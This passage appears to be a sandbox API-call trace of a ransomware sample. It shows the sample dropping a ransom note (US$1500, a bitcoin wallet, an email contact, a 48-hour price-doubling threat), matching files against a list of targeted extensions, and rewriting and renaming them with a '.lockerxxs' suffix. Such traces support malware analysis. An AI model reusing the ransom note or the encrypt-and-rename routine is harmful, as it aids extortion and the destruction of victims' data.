ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4a0000, cFileName="..", cAlternateFileName="")) returned 1 [0089.460] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0089.460] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0089.460] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0089.460] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0089.460] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="voeimd@djhreuu.uhd.pst") returned -1 [0089.460] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="voeimd@djhreuu.uhd.pst") returned -1 [0089.460] lstrcmpiA (lpString1="", lpString2="voeimd@djhreuu.uhd.pst") returned -1 [0089.460] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*.*") returned="*.*" [0089.460] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" [0089.460] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="" [0089.461] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO DECRYPT FILES.txt" [0089.461] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\how to decrypt files.txt")) returned 0xffffffff [0089.461] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.462] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0089.462] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0089.694] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0089.695] CloseHandle (hObject=0x8c) returned 1 [0089.695] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\", lpString2="voeimd@djhreuu.uhd.pst" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" [0089.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.ems") returned 0 [0089.695] lstrlenA (lpString="*.ems") returned 5 [0089.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.db") returned 0 [0089.695] lstrlenA (lpString="*.db") returned 4 [0089.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.dbf") returned 0 [0089.695] lstrlenA (lpString="*.dbf") returned 5 [0089.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.myox") returned 0 [0089.695] lstrlenA (lpString="*.myox") returned 6 [0089.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.myo") returned 0 [0089.695] lstrlenA (lpString="*.myo") returned 5 [0089.695] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qbw") returned 0 [0089.696] lstrlenA (lpString="*.qbw") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qbb") returned 0 [0089.696] lstrlenA (lpString="*.qbb") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qbm") returned 0 [0089.696] lstrlenA (lpString="*.qbm") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qbo") returned 0 [0089.696] lstrlenA (lpString="*.qbo") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qbx") returned 0 [0089.696] lstrlenA (lpString="*.qbx") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qba") returned 0 [0089.696] lstrlenA (lpString="*.qba") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qby") returned 0 [0089.696] lstrlenA (lpString="*.qby") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qbj") returned 0 [0089.696] lstrlenA (lpString="*.qbj") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.ofx") returned 0 [0089.696] lstrlenA (lpString="*.ofx") returned 5 [0089.696] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.qif") returned 0 [0089.697] lstrlenA (lpString="*.qif") returned 5 [0089.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.mye") returned 0 [0089.697] lstrlenA (lpString="*.mye") returned 5 [0089.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.mbox") returned 0 [0089.697] lstrlenA (lpString="*.mbox") returned 6 [0089.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.eml") returned 0 [0089.697] lstrlenA (lpString="*.eml") returned 5 [0089.697] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", pszSpec="*.pst") returned 1 [0089.697] lstrlenA (lpString="*.pst") returned 5 [0089.697] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" [0089.697] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" [0089.698] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst." [0089.698] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.lockerxxs" [0089.698] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.699] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x42400 [0089.699] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5a868660, dwHighDateTime=0x1d2fad7), lpLastAccessTime=0x407536*(dwLowDateTime=0x5a868660, dwHighDateTime=0x1d2fad7), lpLastWriteTime=0x40753e*(dwLowDateTime=0x8a4fb680, dwHighDateTime=0x1d5e82a)) returned 1 [0089.699] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.699] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x423da, lpOverlapped=0x0) returned 1 [0089.857] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned="voeimd@djhreuu.uhd.pst" [0089.859] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.859] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x423da, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x423da, lpOverlapped=0x0) returned 1 [0089.861] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.861] CloseHandle (hObject=0x8c) returned 1 [0089.861] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\voeimd@djhreuu.uhd.pst.lockerxxs")) returned 1 [0089.863] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0089.864] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0089.864] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6936d630, ftCreationTime.dwHighDateTime=0x1d564b4, ftLastAccessTime.dwLowDateTime=0x68ae7dd0, ftLastAccessTime.dwHighDateTime=0x1d58278, ftLastWriteTime.dwLowDateTime=0x68ae7dd0, ftLastWriteTime.dwHighDateTime=0x1d58278, nFileSizeHigh=0x0, nFileSizeLow=0x13cf5, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="Sk4mjCI.xlsx", cAlternateFileName="SK4MJC~1.XLS")) returned 1 [0089.864] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0089.870] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Sk4mjCI.xlsx") returned -1 [0089.870] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Sk4mjCI.xlsx") returned -1 [0089.870] lstrcmpiA (lpString1="", lpString2="Sk4mjCI.xlsx") returned -1 [0089.870] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*") returned="*.*" [0089.870] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0089.870] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0089.870] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0089.870] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 0x20 [0089.870] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="Sk4mjCI.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx" [0089.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.ems") returned 0 [0089.870] lstrlenA (lpString="*.ems") returned 5 [0089.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.db") returned 0 [0089.870] lstrlenA (lpString="*.db") returned 4 [0089.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.dbf") returned 0 [0089.870] lstrlenA (lpString="*.dbf") returned 5 [0089.870] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.myox") returned 0 [0089.871] lstrlenA (lpString="*.myox") returned 6 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.myo") returned 0 [0089.871] lstrlenA (lpString="*.myo") returned 5 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qbw") returned 0 [0089.871] lstrlenA (lpString="*.qbw") returned 5 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qbb") returned 0 [0089.871] lstrlenA (lpString="*.qbb") returned 5 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qbm") returned 0 [0089.871] lstrlenA (lpString="*.qbm") returned 5 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qbo") returned 0 [0089.871] lstrlenA (lpString="*.qbo") returned 5 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qbx") returned 0 [0089.871] lstrlenA (lpString="*.qbx") returned 5 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qba") returned 0 [0089.871] lstrlenA (lpString="*.qba") returned 5 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qby") returned 0 [0089.871] lstrlenA (lpString="*.qby") returned 5 [0089.871] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qbj") returned 0 [0089.871] lstrlenA (lpString="*.qbj") returned 5 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.ofx") returned 0 [0089.872] lstrlenA (lpString="*.ofx") returned 5 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.qif") returned 0 [0089.872] lstrlenA (lpString="*.qif") returned 5 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.mye") returned 0 [0089.872] lstrlenA (lpString="*.mye") returned 5 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.mbox") returned 0 [0089.872] lstrlenA (lpString="*.mbox") returned 6 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.eml") returned 0 [0089.872] lstrlenA (lpString="*.eml") returned 5 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.pst") returned 0 [0089.872] lstrlenA (lpString="*.pst") returned 5 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.ost") returned 0 [0089.872] lstrlenA (lpString="*.ost") returned 5 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.idx") returned 0 [0089.872] lstrlenA (lpString="*.idx") returned 5 [0089.872] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.dbx") returned 0 [0089.873] lstrlenA (lpString="*.dbx") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.sql") returned 0 [0089.873] lstrlenA (lpString="*.sql") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.mdb") returned 0 [0089.873] lstrlenA (lpString="*.mdb") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.fdb") returned 0 [0089.873] lstrlenA (lpString="*.fdb") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.wab") returned 0 [0089.873] lstrlenA (lpString="*.wab") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.dat") returned 0 [0089.873] lstrlenA (lpString="*.dat") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.txt") returned 0 [0089.873] lstrlenA (lpString="*.txt") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.jpeg") returned 0 [0089.873] lstrlenA (lpString="*.jpeg") returned 6 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.jpg") returned 0 [0089.873] lstrlenA (lpString="*.jpg") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.png") returned 0 [0089.873] lstrlenA (lpString="*.png") returned 5 [0089.873] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.php") returned 0 [0089.874] lstrlenA (lpString="*.php") returned 5 [0089.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.cs") returned 0 [0089.874] lstrlenA (lpString="*.cs") returned 4 [0089.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.cpp") returned 0 [0089.874] lstrlenA (lpString="*.cpp") returned 5 [0089.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.rar") returned 0 [0089.874] lstrlenA (lpString="*.rar") returned 5 [0089.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.zip") returned 0 [0089.874] lstrlenA (lpString="*.zip") returned 5 [0089.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.html") returned 0 [0089.874] lstrlenA (lpString="*.html") returned 6 [0089.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.htm") returned 0 [0089.874] lstrlenA (lpString="*.htm") returned 5 [0089.874] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", pszSpec="*.xlsx") returned 1 [0089.874] lstrlenA (lpString="*.xlsx") returned 6 [0089.874] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx" [0089.874] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx" [0089.875] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx." [0089.875] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx.lockerxxs" [0089.875] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Sk4mjCI.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\sk4mjci.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0089.875] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x13cf5 [0089.876] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x6936d630, dwHighDateTime=0x1d564b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x68ae7dd0, dwHighDateTime=0x1d58278), lpLastWriteTime=0x40753e*(dwLowDateTime=0x68ae7dd0, dwHighDateTime=0x1d58278)) returned 1 [0089.876] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 